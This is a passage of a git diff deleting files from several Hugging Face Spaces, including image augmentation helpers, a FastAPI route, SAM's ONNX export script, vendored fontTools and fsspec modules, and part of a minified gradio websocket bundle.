-    """
-
-    def __init__(self, opt):
-        """Initialize the class; save the options in the class
-
-        Parameters:
-            opt (Option class)-- stores all the experiment flags; needs to be a subclass of BaseOptions
-        """
-        self.opt = opt
-        # self.root = opt.dataroot
-        self.current_epoch = 0
-
-    @staticmethod
-    def modify_commandline_options(parser, is_train):
-        """Add new dataset-specific options, and rewrite default values for existing options.
-
-        Parameters:
-            parser          -- original option parser
-            is_train (bool) -- whether training phase or test phase. You can use this flag to add training-specific or test-specific options.
-
-        Returns:
-            the modified parser.
-        """
-        return parser
-
-    @abstractmethod
-    def __len__(self):
-        """Return the total number of images in the dataset."""
-        return 0
-
-    @abstractmethod
-    def __getitem__(self, index):
-        """Return a data point and its metadata information.
-
-        Parameters:
-            index - - a random integer for data indexing
-
-        Returns:
-            a dictionary of data with their names. It ususally contains the data itself and its metadata information.
-        """
-        pass
-
-
-def get_transform(grayscale=False):
-    transform_list = []
-    if grayscale:
-        transform_list.append(transforms.Grayscale(1))
-    transform_list += [transforms.ToTensor()]
-    return transforms.Compose(transform_list)
-
-def get_affine_mat(opt, size):
-    shift_x, shift_y, scale, rot_angle, flip = 0., 0., 1., 0., False
-    w, h = size
-
-    if 'shift' in opt.preprocess:
-        shift_pixs = int(opt.shift_pixs)
-        shift_x = random.randint(-shift_pixs, shift_pixs)
-        shift_y = random.randint(-shift_pixs, shift_pixs)
-    if 'scale' in opt.preprocess:
-        scale = 1 + opt.scale_delta * (2 * random.random() - 1)
-    if 'rot' in opt.preprocess:
-        rot_angle = opt.rot_angle * (2 * random.random() - 1)
-        rot_rad = -rot_angle * np.pi/180
-    if 'flip' in opt.preprocess:
-        flip = random.random() > 0.5
-
-    shift_to_origin = np.array([1, 0, -w//2, 0, 1, -h//2, 0, 0, 1]).reshape([3, 3])
-    flip_mat = np.array([-1 if flip else 1, 0, 0, 0, 1, 0, 0, 0, 1]).reshape([3, 3])
-    shift_mat = np.array([1, 0, shift_x, 0, 1, shift_y, 0, 0, 1]).reshape([3, 3])
-    rot_mat = np.array([np.cos(rot_rad), np.sin(rot_rad), 0, -np.sin(rot_rad), np.cos(rot_rad), 0, 0, 0, 1]).reshape([3, 3])
-    scale_mat = np.array([scale, 0, 0, 0, scale, 0, 0, 0, 1]).reshape([3, 3])
-    shift_to_center = np.array([1, 0, w//2, 0, 1, h//2, 0, 0, 1]).reshape([3, 3])
-    
-    affine = shift_to_center @ scale_mat @ rot_mat @ shift_mat @ flip_mat @ shift_to_origin    
-    affine_inv = np.linalg.inv(affine)
-    return affine, affine_inv, flip
-
-def apply_img_affine(img, affine_inv, method=Image.BICUBIC):
-    return img.transform(img.size, Image.AFFINE, data=affine_inv.flatten()[:6], resample=Image.BICUBIC)
-
-def apply_lm_affine(landmark, affine, flip, size):
-    _, h = size
-    lm = landmark.copy()
-    lm[:, 1] = h - 1 - lm[:, 1]
-    lm = np.concatenate((lm, np.ones([lm.shape[0], 1])), -1)
-    lm = lm @ np.transpose(affine)
-    lm[:, :2] = lm[:, :2] / lm[:, 2:]
-    lm = lm[:, :2]
-    lm[:, 1] = h - 1 - lm[:, 1]
-    if flip:
-        lm_ = lm.copy()
-        lm_[:17] = lm[16::-1]
-        lm_[17:22] = lm[26:21:-1]
-        lm_[22:27] = lm[21:16:-1]
-        lm_[31:36] = lm[35:30:-1]
-        lm_[36:40] = lm[45:41:-1]
-        lm_[40:42] = lm[47:45:-1]
-        lm_[42:46] = lm[39:35:-1]
-        lm_[46:48] = lm[41:39:-1]
-        lm_[48:55] = lm[54:47:-1]
-        lm_[55:60] = lm[59:54:-1]
-        lm_[60:65] = lm[64:59:-1]
-        lm_[65:68] = lm[67:64:-1]
-        lm = lm_
-    return lm
diff --git a/spaces/kidcoconut/spcdkr_omdenasaudi_liverhccxai/routes/qa/rte_qa.py b/spaces/kidcoconut/spcdkr_omdenasaudi_liverhccxai/routes/qa/rte_qa.py
deleted file mode 100644
index 479196c9d05cc50ed68d82cc0ca588a2cec88285..0000000000000000000000000000000000000000
--- a/spaces/kidcoconut/spcdkr_omdenasaudi_liverhccxai/routes/qa/rte_qa.py
+++ /dev/null
@@ -1,17 +0,0 @@
-from fastapi import APIRouter
-
-
-m_kstrFile = __file__
-m_blnTraceOn = True
-
-
-rteQa = APIRouter()
-
-
-@rteQa.get('/')
-@rteQa.get('/verif')
-@rteQa.get('/valid')
-def qa_entry():
-    return {
-        "message": "qa routing - welcome to Omdena Saudi HCC qa"
-    }
diff --git a/spaces/kohrisatou-infinity/KIP_01_beta/spec_gen.py b/spaces/kohrisatou-infinity/KIP_01_beta/spec_gen.py
deleted file mode 100644
index 85ad3188ac93aaef7b1b1d7dbbe47d358f4b0da6..0000000000000000000000000000000000000000
--- a/spaces/kohrisatou-infinity/KIP_01_beta/spec_gen.py
+++ /dev/null
@@ -1,22 +0,0 @@
-from data_utils import TextAudioSpeakerLoader, EvalDataLoader
-import json
-from tqdm import tqdm
-
-from utils import HParams
-
-config_path = 'configs/config.json'
-with open(config_path, "r") as f:
-    data = f.read()
-config = json.loads(data)
-hps = HParams(**config)
-
-train_dataset = TextAudioSpeakerLoader("filelists/train.txt", hps)
-test_dataset = TextAudioSpeakerLoader("filelists/test.txt", hps)
-eval_dataset = TextAudioSpeakerLoader("filelists/val.txt", hps)
-
-for _ in tqdm(train_dataset):
-    pass
-for _ in tqdm(eval_dataset):
-    pass
-for _ in tqdm(test_dataset):
-    pass
\ No newline at end of file
diff --git a/spaces/kxqt/Expedit-SAM/scripts/export_onnx_model.py b/spaces/kxqt/Expedit-SAM/scripts/export_onnx_model.py
deleted file mode 100644
index 8ec5c2ec24fc53cd9fdf66564cfe163b9eb26c24..0000000000000000000000000000000000000000
--- a/spaces/kxqt/Expedit-SAM/scripts/export_onnx_model.py
+++ /dev/null
@@ -1,204 +0,0 @@
-# Copyright (c) Meta Platforms, Inc. and affiliates.
-# All rights reserved.
-
-# This source code is licensed under the license found in the
-# LICENSE file in the root directory of this source tree.
-
-import torch
-
-from segment_anything import build_sam, build_sam_vit_b, build_sam_vit_l
-from segment_anything.utils.onnx import SamOnnxModel
-
-import argparse
-import warnings
-
-try:
-    import onnxruntime  # type: ignore
-
-    onnxruntime_exists = True
-except ImportError:
-    onnxruntime_exists = False
-
-parser = argparse.ArgumentParser(
-    description="Export the SAM prompt encoder and mask decoder to an ONNX model."
-)
-
-parser.add_argument(
-    "--checkpoint", type=str, required=True, help="The path to the SAM model checkpoint."
-)
-
-parser.add_argument(
-    "--output", type=str, required=True, help="The filename to save the ONNX model to."
-)
-
-parser.add_argument(
-    "--model-type",
-    type=str,
-    default="default",
-    help="In ['default', 'vit_b', 'vit_l']. Which type of SAM model to export.",
-)
-
-parser.add_argument(
-    "--return-single-mask",
-    action="store_true",
-    help=(
-        "If true, the exported ONNX model will only return the best mask, "
-        "instead of returning multiple masks. For high resolution images "
-        "this can improve runtime when upscaling masks is expensive."
-    ),
-)
-
-parser.add_argument(
-    "--opset",
-    type=int,
-    default=17,
-    help="The ONNX opset version to use. Must be >=11",
-)
-
-parser.add_argument(
-    "--quantize-out",
-    type=str,
-    default=None,
-    help=(
-        "If set, will quantize the model and save it with this name. "
-        "Quantization is performed with quantize_dynamic from onnxruntime.quantization.quantize."
-    ),
-)
-
-parser.add_argument(
-    "--gelu-approximate",
-    action="store_true",
-    help=(
-        "Replace GELU operations with approximations using tanh. Useful "
-        "for some runtimes that have slow or unimplemented erf ops, used in GELU."
-    ),
-)
-
-parser.add_argument(
-    "--use-stability-score",
-    action="store_true",
-    help=(
-        "Replaces the model's predicted mask quality score with the stability "
-        "score calculated on the low resolution masks using an offset of 1.0. "
-    ),
-)
-
-parser.add_argument(
-    "--return-extra-metrics",
-    action="store_true",
-    help=(
-        "The model will return five results: (masks, scores, stability_scores, "
-        "areas, low_res_logits) instead of the usual three. This can be "
-        "significantly slower for high resolution outputs."
-    ),
-)
-
-
-def run_export(
-    model_type: str,
-    checkpoint: str,
-    output: str,
-    opset: int,
-    return_single_mask: bool,
-    gelu_approximate: bool = False,
-    use_stability_score: bool = False,
-    return_extra_metrics=False,
-):
-    print("Loading model...")
-    if model_type == "vit_b":
-        sam = build_sam_vit_b(checkpoint)
-    elif model_type == "vit_l":
-        sam = build_sam_vit_l(checkpoint)
-    else:
-        sam = build_sam(checkpoint)
-
-    onnx_model = SamOnnxModel(
-        model=sam,
-        return_single_mask=return_single_mask,
-        use_stability_score=use_stability_score,
-        return_extra_metrics=return_extra_metrics,
-    )
-
-    if gelu_approximate:
-        for n, m in onnx_model.named_modules():
-            if isinstance(m, torch.nn.GELU):
-                m.approximate = "tanh"
-
-    dynamic_axes = {
-        "point_coords": {1: "num_points"},
-        "point_labels": {1: "num_points"},
-    }
-
-    embed_dim = sam.prompt_encoder.embed_dim
-    embed_size = sam.prompt_encoder.image_embedding_size
-    mask_input_size = [4 * x for x in embed_size]
-    dummy_inputs = {
-        "image_embeddings": torch.randn(1, embed_dim, *embed_size, dtype=torch.float),
-        "point_coords": torch.randint(low=0, high=1024, size=(1, 5, 2), dtype=torch.float),
-        "point_labels": torch.randint(low=0, high=4, size=(1, 5), dtype=torch.float),
-        "mask_input": torch.randn(1, 1, *mask_input_size, dtype=torch.float),
-        "has_mask_input": torch.tensor([1], dtype=torch.float),
-        "orig_im_size": torch.tensor([1500, 2250], dtype=torch.float),
-    }
-
-    _ = onnx_model(**dummy_inputs)
-
-    output_names = ["masks", "iou_predictions", "low_res_masks"]
-
-    with warnings.catch_warnings():
-        warnings.filterwarnings("ignore", category=torch.jit.TracerWarning)
-        warnings.filterwarnings("ignore", category=UserWarning)
-        with open(output, "wb") as f:
-            print(f"Exporing onnx model to {output}...")
-            torch.onnx.export(
-                onnx_model,
-                tuple(dummy_inputs.values()),
-                f,
-                export_params=True,
-                verbose=False,
-                opset_version=opset,
-                do_constant_folding=True,
-                input_names=list(dummy_inputs.keys()),
-                output_names=output_names,
-                dynamic_axes=dynamic_axes,
-            )
-
-    if onnxruntime_exists:
-        ort_inputs = {k: to_numpy(v) for k, v in dummy_inputs.items()}
-        ort_session = onnxruntime.InferenceSession(output)
-        _ = ort_session.run(None, ort_inputs)
-        print("Model has successfully been run with ONNXRuntime.")
-
-
-def to_numpy(tensor):
-    return tensor.cpu().numpy()
-
-
-if __name__ == "__main__":
-    args = parser.parse_args()
-    run_export(
-        model_type=args.model_type,
-        checkpoint=args.checkpoint,
-        output=args.output,
-        opset=args.opset,
-        return_single_mask=args.return_single_mask,
-        gelu_approximate=args.gelu_approximate,
-        use_stability_score=args.use_stability_score,
-        return_extra_metrics=args.return_extra_metrics,
-    )
-
-    if args.quantize_out is not None:
-        assert onnxruntime_exists, "onnxruntime is required to quantize the model."
-        from onnxruntime.quantization import QuantType  # type: ignore
-        from onnxruntime.quantization.quantize import quantize_dynamic  # type: ignore
-
-        print(f"Quantizing model and writing to {args.quantize_out}...")
-        quantize_dynamic(
-            model_input=args.output,
-            model_output=args.quantize_out,
-            optimize_model=True,
-            per_channel=False,
-            reduce_range=False,
-            weight_type=QuantType.QUInt8,
-        )
-        print("Done!")
diff --git a/spaces/ky2k/Toxicity_Classifier_POC/.venv/lib/python3.9/site-packages/fontTools/ttLib/tables/_k_e_r_n.py b/spaces/ky2k/Toxicity_Classifier_POC/.venv/lib/python3.9/site-packages/fontTools/ttLib/tables/_k_e_r_n.py
deleted file mode 100644
index 94183c8a0a1e8a02cfc229d525030d9ae2b27ddf..0000000000000000000000000000000000000000
--- a/spaces/ky2k/Toxicity_Classifier_POC/.venv/lib/python3.9/site-packages/fontTools/ttLib/tables/_k_e_r_n.py
+++ /dev/null
@@ -1,279 +0,0 @@
-from fontTools.ttLib import getSearchRange
-from fontTools.misc.textTools import safeEval, readHex
-from fontTools.misc.fixedTools import fixedToFloat as fi2fl, floatToFixed as fl2fi
-from . import DefaultTable
-import struct
-import sys
-import array
-import logging
-
-
-log = logging.getLogger(__name__)
-
-
-class table__k_e_r_n(DefaultTable.DefaultTable):
-    def getkern(self, format):
-        for subtable in self.kernTables:
-            if subtable.format == format:
-                return subtable
-        return None  # not found
-
-    def decompile(self, data, ttFont):
-        version, nTables = struct.unpack(">HH", data[:4])
-        apple = False
-        if (len(data) >= 8) and (version == 1):
-            # AAT Apple's "new" format. Hm.
-            version, nTables = struct.unpack(">LL", data[:8])
-            self.version = fi2fl(version, 16)
-            data = data[8:]
-            apple = True
-        else:
-            self.version = version
-            data = data[4:]
-        self.kernTables = []
-        for i in range(nTables):
-            if self.version == 1.0:
-                # Apple
-                length, coverage, subtableFormat = struct.unpack(">LBB", data[:6])
-            else:
-                # in OpenType spec the "version" field refers to the common
-                # subtable header; the actual subtable format is stored in
-                # the 8-15 mask bits of "coverage" field.
-                # This "version" is always 0 so we ignore it here
-                _, length, subtableFormat, coverage = struct.unpack(">HHBB", data[:6])
-                if nTables == 1 and subtableFormat == 0:
-                    # The "length" value is ignored since some fonts
-                    # (like OpenSans and Calibri) have a subtable larger than
-                    # its value.
-                    (nPairs,) = struct.unpack(">H", data[6:8])
-                    calculated_length = (nPairs * 6) + 14
-                    if length != calculated_length:
-                        log.warning(
-                            "'kern' subtable longer than defined: "
-                            "%d bytes instead of %d bytes" % (calculated_length, length)
-                        )
-                    length = calculated_length
-            if subtableFormat not in kern_classes:
-                subtable = KernTable_format_unkown(subtableFormat)
-            else:
-                subtable = kern_classes[subtableFormat](apple)
-            subtable.decompile(data[:length], ttFont)
-            self.kernTables.append(subtable)
-            data = data[length:]
-
-    def compile(self, ttFont):
-        if hasattr(self, "kernTables"):
-            nTables = len(self.kernTables)
-        else:
-            nTables = 0
-        if self.version == 1.0:
-            # AAT Apple's "new" format.
-            data = struct.pack(">LL", fl2fi(self.version, 16), nTables)
-        else:
-            data = struct.pack(">HH", self.version, nTables)
-        if hasattr(self, "kernTables"):
-            for subtable in self.kernTables:
-                data = data + subtable.compile(ttFont)
-        return data
-
-    def toXML(self, writer, ttFont):
-        writer.simpletag("version", value=self.version)
-        writer.newline()
-        for subtable in self.kernTables:
-            subtable.toXML(writer, ttFont)
-
-    def fromXML(self, name, attrs, content, ttFont):
-        if name == "version":
-            self.version = safeEval(attrs["value"])
-            return
-        if name != "kernsubtable":
-            return
-        if not hasattr(self, "kernTables"):
-            self.kernTables = []
-        format = safeEval(attrs["format"])
-        if format not in kern_classes:
-            subtable = KernTable_format_unkown(format)
-        else:
-            apple = self.version == 1.0
-            subtable = kern_classes[format](apple)
-        self.kernTables.append(subtable)
-        subtable.fromXML(name, attrs, content, ttFont)
-
-
-class KernTable_format_0(object):
-
-    # 'version' is kept for backward compatibility
-    version = format = 0
-
-    def __init__(self, apple=False):
-        self.apple = apple
-
-    def decompile(self, data, ttFont):
-        if not self.apple:
-            version, length, subtableFormat, coverage = struct.unpack(">HHBB", data[:6])
-            if version != 0:
-                from fontTools.ttLib import TTLibError
-
-                raise TTLibError("unsupported kern subtable version: %d" % version)
-            tupleIndex = None
-            # Should we also assert length == len(data)?
-            data = data[6:]
-        else:
-            length, coverage, subtableFormat, tupleIndex = struct.unpack(
-                ">LBBH", data[:8]
-            )
-            data = data[8:]
-        assert self.format == subtableFormat, "unsupported format"
-        self.coverage = coverage
-        self.tupleIndex = tupleIndex
-
-        self.kernTable = kernTable = {}
-
-        nPairs, searchRange, entrySelector, rangeShift = struct.unpack(
-            ">HHHH", data[:8]
-        )
-        data = data[8:]
-
-        datas = array.array("H", data[: 6 * nPairs])
-        if sys.byteorder != "big":
-            datas.byteswap()
-        it = iter(datas)
-        glyphOrder = ttFont.getGlyphOrder()
-        for k in range(nPairs):
-            left, right, value = next(it), next(it), next(it)
-            if value >= 32768:
-                value -= 65536
-            try:
-                kernTable[(glyphOrder[left], glyphOrder[right])] = value
-            except IndexError:
-                # Slower, but will not throw an IndexError on an invalid
-                # glyph id.
-                kernTable[
-                    (ttFont.getGlyphName(left), ttFont.getGlyphName(right))
-                ] = value
-        if len(data) > 6 * nPairs + 4:  # Ignore up to 4 bytes excess
-            log.warning(
-                "excess data in 'kern' subtable: %d bytes", len(data) - 6 * nPairs
-            )
-
-    def compile(self, ttFont):
-        nPairs = min(len(self.kernTable), 0xFFFF)
-        searchRange, entrySelector, rangeShift = getSearchRange(nPairs, 6)
-        searchRange &= 0xFFFF
-        entrySelector = min(entrySelector, 0xFFFF)
-        rangeShift = min(rangeShift, 0xFFFF)
-        data = struct.pack(">HHHH", nPairs, searchRange, entrySelector, rangeShift)
-
-        # yeehee! (I mean, turn names into indices)
-        try:
-            reverseOrder = ttFont.getReverseGlyphMap()
-            kernTable = sorted(
-                (reverseOrder[left], reverseOrder[right], value)
-                for ((left, right), value) in self.kernTable.items()
-            )
-        except KeyError:
-            # Slower, but will not throw KeyError on invalid glyph id.
-            getGlyphID = ttFont.getGlyphID
-            kernTable = sorted(
-                (getGlyphID(left), getGlyphID(right), value)
-                for ((left, right), value) in self.kernTable.items()
-            )
-
-        for left, right, value in kernTable:
-            data = data + struct.pack(">HHh", left, right, value)
-
-        if not self.apple:
-            version = 0
-            length = len(data) + 6
-            if length >= 0x10000:
-                log.warning(
-                    '"kern" subtable overflow, '
-                    "truncating length value while preserving pairs."
-                )
-                length &= 0xFFFF
-            header = struct.pack(">HHBB", version, length, self.format, self.coverage)
-        else:
-            if self.tupleIndex is None:
-                # sensible default when compiling a TTX from an old fonttools
-                # or when inserting a Windows-style format 0 subtable into an
-                # Apple version=1.0 kern table
-                log.warning("'tupleIndex' is None; default to 0")
-                self.tupleIndex = 0
-            length = len(data) + 8
-            header = struct.pack(
-                ">LBBH", length, self.coverage, self.format, self.tupleIndex
-            )
-        return header + data
-
-    def toXML(self, writer, ttFont):
-        attrs = dict(coverage=self.coverage, format=self.format)
-        if self.apple:
-            if self.tupleIndex is None:
-                log.warning("'tupleIndex' is None; default to 0")
-                attrs["tupleIndex"] = 0
-            else:
-                attrs["tupleIndex"] = self.tupleIndex
-        writer.begintag("kernsubtable", **attrs)
-        writer.newline()
-        items = sorted(self.kernTable.items())
-        for (left, right), value in items:
-            writer.simpletag("pair", [("l", left), ("r", right), ("v", value)])
-            writer.newline()
-        writer.endtag("kernsubtable")
-        writer.newline()
-
-    def fromXML(self, name, attrs, content, ttFont):
-        self.coverage = safeEval(attrs["coverage"])
-        subtableFormat = safeEval(attrs["format"])
-        if self.apple:
-            if "tupleIndex" in attrs:
-                self.tupleIndex = safeEval(attrs["tupleIndex"])
-            else:
-                # previous fontTools versions didn't export tupleIndex
-                log.warning("Apple kern subtable is missing 'tupleIndex' attribute")
-                self.tupleIndex = None
-        else:
-            self.tupleIndex = None
-        assert subtableFormat == self.format, "unsupported format"
-        if not hasattr(self, "kernTable"):
-            self.kernTable = {}
-        for element in content:
-            if not isinstance(element, tuple):
-                continue
-            name, attrs, content = element
-            self.kernTable[(attrs["l"], attrs["r"])] = safeEval(attrs["v"])
-
-    def __getitem__(self, pair):
-        return self.kernTable[pair]
-
-    def __setitem__(self, pair, value):
-        self.kernTable[pair] = value
-
-    def __delitem__(self, pair):
-        del self.kernTable[pair]
-
-
-class KernTable_format_unkown(object):
-    def __init__(self, format):
-        self.format = format
-
-    def decompile(self, data, ttFont):
-        self.data = data
-
-    def compile(self, ttFont):
-        return self.data
-
-    def toXML(self, writer, ttFont):
-        writer.begintag("kernsubtable", format=self.format)
-        writer.newline()
-        writer.comment("unknown 'kern' subtable format")
-        writer.newline()
-        writer.dumphex(self.data)
-        writer.endtag("kernsubtable")
-        writer.newline()
-
-    def fromXML(self, name, attrs, content, ttFont):
-        self.decompile(readHex(content), ttFont)
-
-
-kern_classes = {0: KernTable_format_0}
diff --git a/spaces/ky2k/Toxicity_Classifier_POC/.venv/lib/python3.9/site-packages/fontTools/ttLib/tables/_l_c_a_r.py b/spaces/ky2k/Toxicity_Classifier_POC/.venv/lib/python3.9/site-packages/fontTools/ttLib/tables/_l_c_a_r.py
deleted file mode 100644
index 1323b670d0c2e7a51e553ee8aa341af789898b1d..0000000000000000000000000000000000000000
--- a/spaces/ky2k/Toxicity_Classifier_POC/.venv/lib/python3.9/site-packages/fontTools/ttLib/tables/_l_c_a_r.py
+++ /dev/null
@@ -1,5 +0,0 @@
-from .otBase import BaseTTXConverter
-
-
-class table__l_c_a_r(BaseTTXConverter):
-    pass
diff --git a/spaces/ky2k/Toxicity_Classifier_POC/.venv/lib/python3.9/site-packages/fsspec/implementations/libarchive.py b/spaces/ky2k/Toxicity_Classifier_POC/.venv/lib/python3.9/site-packages/fsspec/implementations/libarchive.py
deleted file mode 100644
index de862b111d8ffa5141c8ace34849193e105d6460..0000000000000000000000000000000000000000
--- a/spaces/ky2k/Toxicity_Classifier_POC/.venv/lib/python3.9/site-packages/fsspec/implementations/libarchive.py
+++ /dev/null
@@ -1,217 +0,0 @@
-from __future__ import absolute_import, division, print_function
-
-from contextlib import contextmanager
-from ctypes import (
-    CFUNCTYPE,
-    POINTER,
-    c_int,
-    c_longlong,
-    c_void_p,
-    cast,
-    create_string_buffer,
-)
-
-import libarchive
-import libarchive.ffi as ffi
-
-from fsspec import open_files
-from fsspec.archive import AbstractArchiveFileSystem
-from fsspec.implementations.memory import MemoryFile
-from fsspec.utils import DEFAULT_BLOCK_SIZE
-
-# Libarchive requires seekable files or memory only for certain archive
-# types. However, since we read the directory first to cache the contents
-# and also allow random access to any file, the file-like object needs
-# to be seekable no matter what.
-
-# Seek call-backs (not provided in the libarchive python wrapper)
-SEEK_CALLBACK = CFUNCTYPE(c_longlong, c_int, c_void_p, c_longlong, c_int)
-read_set_seek_callback = ffi.ffi(
-    "read_set_seek_callback", [ffi.c_archive_p, SEEK_CALLBACK], c_int, ffi.check_int
-)
-new_api = hasattr(ffi, "NO_OPEN_CB")
-
-
-@contextmanager
-def custom_reader(file, format_name="all", filter_name="all", block_size=ffi.page_size):
-    """Read an archive from a seekable file-like object.
-
-    The `file` object must support the standard `readinto` and 'seek' methods.
-    """
-    buf = create_string_buffer(block_size)
-    buf_p = cast(buf, c_void_p)
-
-    def read_func(archive_p, context, ptrptr):
-        # readinto the buffer, returns number of bytes read
-        length = file.readinto(buf)
-        # write the address of the buffer into the pointer
-        ptrptr = cast(ptrptr, POINTER(c_void_p))
-        ptrptr[0] = buf_p
-        # tell libarchive how much data was written into the buffer
-        return length
-
-    def seek_func(archive_p, context, offset, whence):
-        file.seek(offset, whence)
-        # tell libarchvie the current position
-        return file.tell()
-
-    read_cb = ffi.READ_CALLBACK(read_func)
-    seek_cb = SEEK_CALLBACK(seek_func)
-
-    if new_api:
-        open_cb = ffi.NO_OPEN_CB
-        close_cb = ffi.NO_CLOSE_CB
-    else:
-        open_cb = libarchive.read.OPEN_CALLBACK(ffi.VOID_CB)
-        close_cb = libarchive.read.CLOSE_CALLBACK(ffi.VOID_CB)
-
-    with libarchive.read.new_archive_read(format_name, filter_name) as archive_p:
-        read_set_seek_callback(archive_p, seek_cb)
-        ffi.read_open(archive_p, None, open_cb, read_cb, close_cb)
-        yield libarchive.read.ArchiveRead(archive_p)
-
-
-class LibArchiveFileSystem(AbstractArchiveFileSystem):
-    """Compressed archives as a file-system (read-only)
-
-    Supports the following formats:
-    tar, pax , cpio, ISO9660, zip, mtree, shar, ar, raw, xar, lha/lzh, rar
-    Microsoft CAB, 7-Zip, WARC
-
-    See the libarchive documentation for further restrictions.
-    https://www.libarchive.org/
-
-    Keeps file object open while instance lives. It only works in seekable
-    file-like objects. In case the filesystem does not support this kind of
-    file object, it is recommended to cache locally.
-
-    This class is pickleable, but not necessarily thread-safe (depends on the
-    platform). See libarchive documentation for details.
-    """
-
-    root_marker = ""
-    protocol = "libarchive"
-    cachable = False
-
-    def __init__(
-        self,
-        fo="",
-        mode="r",
-        target_protocol=None,
-        target_options=None,
-        block_size=DEFAULT_BLOCK_SIZE,
-        **kwargs,
-    ):
-        """
-        Parameters
-        ----------
-        fo: str or file-like
-            Contains ZIP, and must exist. If a str, will fetch file using
-            :meth:`~fsspec.open_files`, which must return one file exactly.
-        mode: str
-            Currently, only 'r' accepted
-        target_protocol: str (optional)
-            If ``fo`` is a string, this value can be used to override the
-            FS protocol inferred from a URL
-        target_options: dict (optional)
-            Kwargs passed when instantiating the target FS, if ``fo`` is
-            a string.
-        """
-        super().__init__(self, **kwargs)
-        if mode != "r":
-            raise ValueError("Only read from archive files accepted")
-        if isinstance(fo, str):
-            files = open_files(fo, protocol=target_protocol, **(target_options or {}))
-            if len(files) != 1:
-                raise ValueError(
-                    'Path "{}" did not resolve to exactly'
-                    'one file: "{}"'.format(fo, files)
-                )
-            fo = files[0]
-        self.of = fo
-        self.fo = fo.__enter__()  # the whole instance is a context
-        self.block_size = block_size
-        self.dir_cache = None
-
-    @contextmanager
-    def _open_archive(self):
-        self.fo.seek(0)
-        with custom_reader(self.fo, block_size=self.block_size) as arc:
-            yield arc
-
-    @classmethod
-    def _strip_protocol(cls, path):
-        # file paths are always relative to the archive root
-        return super()._strip_protocol(path).lstrip("/")
-
-    def _get_dirs(self):
-        fields = {
-            "name": "pathname",
-            "size": "size",
-            "created": "ctime",
-            "mode": "mode",
-            "uid": "uid",
-            "gid": "gid",
-            "mtime": "mtime",
-        }
-
-        if self.dir_cache is not None:
-            return
-
-        self.dir_cache = {}
-        list_names = []
-        with self._open_archive() as arc:
-            for entry in arc:
-                if not entry.isdir and not entry.isfile:
-                    # Skip symbolic links, fifo entries, etc.
-                    continue
-                self.dir_cache.update(
-                    {
-                        dirname
-                        + "/": {"name": dirname + "/", "size": 0, "type": "directory"}
-                        for dirname in self._all_dirnames(set(entry.name))
-                    }
-                )
-                f = {key: getattr(entry, fields[key]) for key in fields}
-                f["type"] = "directory" if entry.isdir else "file"
-                list_names.append(entry.name)
-
-                self.dir_cache[f["name"]] = f
-        # libarchive does not seem to return an entry for the directories (at least
-        # not in all formats), so get the directories names from the files names
-        self.dir_cache.update(
-            {
-                dirname + "/": {"name": dirname + "/", "size": 0, "type": "directory"}
-                for dirname in self._all_dirnames(list_names)
-            }
-        )
-
-    def _open(
-        self,
-        path,
-        mode="rb",
-        block_size=None,
-        autocommit=True,
-        cache_options=None,
-        **kwargs,
-    ):
-        path = self._strip_protocol(path)
-        if mode != "rb":
-            raise NotImplementedError
-
-        data = bytes()
-        with self._open_archive() as arc:
-            for entry in arc:
-                if entry.pathname != path:
-                    continue
-
-                if entry.size == 0:
-                    # empty file, so there are no blocks
-                    break
-
-                for block in entry.get_blocks(entry.size):
-                    data = block
-                    break
-                else:
-                    raise ValueError
-        return MemoryFile(fs=self, path=path, data=data)
diff --git a/spaces/ky2k/Toxicity_Classifier_POC/.venv/lib/python3.9/site-packages/gradio/templates/cdn/assets/wrapper-b7460963-69b64cfb.js b/spaces/ky2k/Toxicity_Classifier_POC/.venv/lib/python3.9/site-packages/gradio/templates/cdn/assets/wrapper-b7460963-69b64cfb.js
deleted file mode 100644
index 02049f8e8fbbc52f6fd3d807e42bbbe9e811c2f6..0000000000000000000000000000000000000000
--- a/spaces/ky2k/Toxicity_Classifier_POC/.venv/lib/python3.9/site-packages/gradio/templates/cdn/assets/wrapper-b7460963-69b64cfb.js
+++ /dev/null
@@ -1,8 +0,0 @@
-import S from"./__vite-browser-external-b25bb000.js";function _t(s){if(s.__esModule)return s;var e=s.default;if(typeof e=="function"){var t=function r(){if(this instanceof r){var i=[null];i.push.apply(i,arguments);var n=Function.bind.apply(e,i);return new n}return e.apply(this,arguments)};t.prototype=e.prototype}else t={};return Object.defineProperty(t,"__esModule",{value:!0}),Object.keys(s).forEach(function(r){var i=Object.getOwnPropertyDescriptor(s,r);Object.defineProperty(t,r,i.get?i:{enumerable:!0,get:function(){return s[r]}})}),t}const{Duplex:pt}=S;function xe(s){s.emit("close")}function mt(){!this.destroyed&&this._writableState.finished&&this.destroy()}function Ke(s){this.removeListener("error",Ke),this.destroy(),this.listenerCount("error")===0&&this.emit("error",s)}function gt(s,e){let t=!0;const r=new pt({...e,autoDestroy:!1,emitClose:!1,objectMode:!1,writableObjectMode:!1});return s.on("message",function(n,o){const l=!o&&r._readableState.objectMode?n.toString():n;r.push(l)||s.pause()}),s.once("error",function(n){r.destroyed||(t=!1,r.destroy(n))}),s.once("close",function(){r.destroyed||r.push(null)}),r._destroy=function(i,n){if(s.readyState===s.CLOSED){n(i),process.nextTick(xe,r);return}let o=!1;s.once("error",function(f){o=!0,n(f)}),s.once("close",function(){o||n(i),process.nextTick(xe,r)}),t&&s.terminate()},r._final=function(i){if(s.readyState===s.CONNECTING){s.once("open",function(){r._final(i)});return}s._socket!==null&&(s._socket._writableState.finished?(i(),r._readableState.endEmitted&&r.destroy()):(s._socket.once("finish",function(){i()}),s.close()))},r._read=function(){s.isPaused&&s.resume()},r._write=function(i,n,o){if(s.readyState===s.CONNECTING){s.once("open",function(){r._write(i,n,o)});return}s.send(i,o)},r.on("end",mt),r.on("error",Ke),r}var yt=gt;const Gs=yt;var L={},vt={get exports(){return L},set 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0,this._bufferedBytes=0,this._buffers=[],this._compressed=!1,this._payloadLength=0,this._mask=void 0,this._fragmented=0,this._masked=!1,this._fin=!1,this._opcode=0,this._totalPayloadLength=0,this._messageLength=0,this._fragments=[],this._state=j,this._loop=!1}_write(e,t,r){if(this._opcode===8&&this._state==j)return r();this._bufferedBytes+=e.length,this._buffers.push(e),this.startLoop(r)}consume(e){if(this._bufferedBytes-=e,e===this._buffers[0].length)return this._buffers.shift();if(e<this._buffers[0].length){const r=this._buffers[0];return this._buffers[0]=new Z(r.buffer,r.byteOffset+e,r.length-e),new Z(r.buffer,r.byteOffset,e)}const t=Buffer.allocUnsafe(e);do{const r=this._buffers[0],i=t.length-e;e>=r.length?t.set(this._buffers.shift(),i):(t.set(new 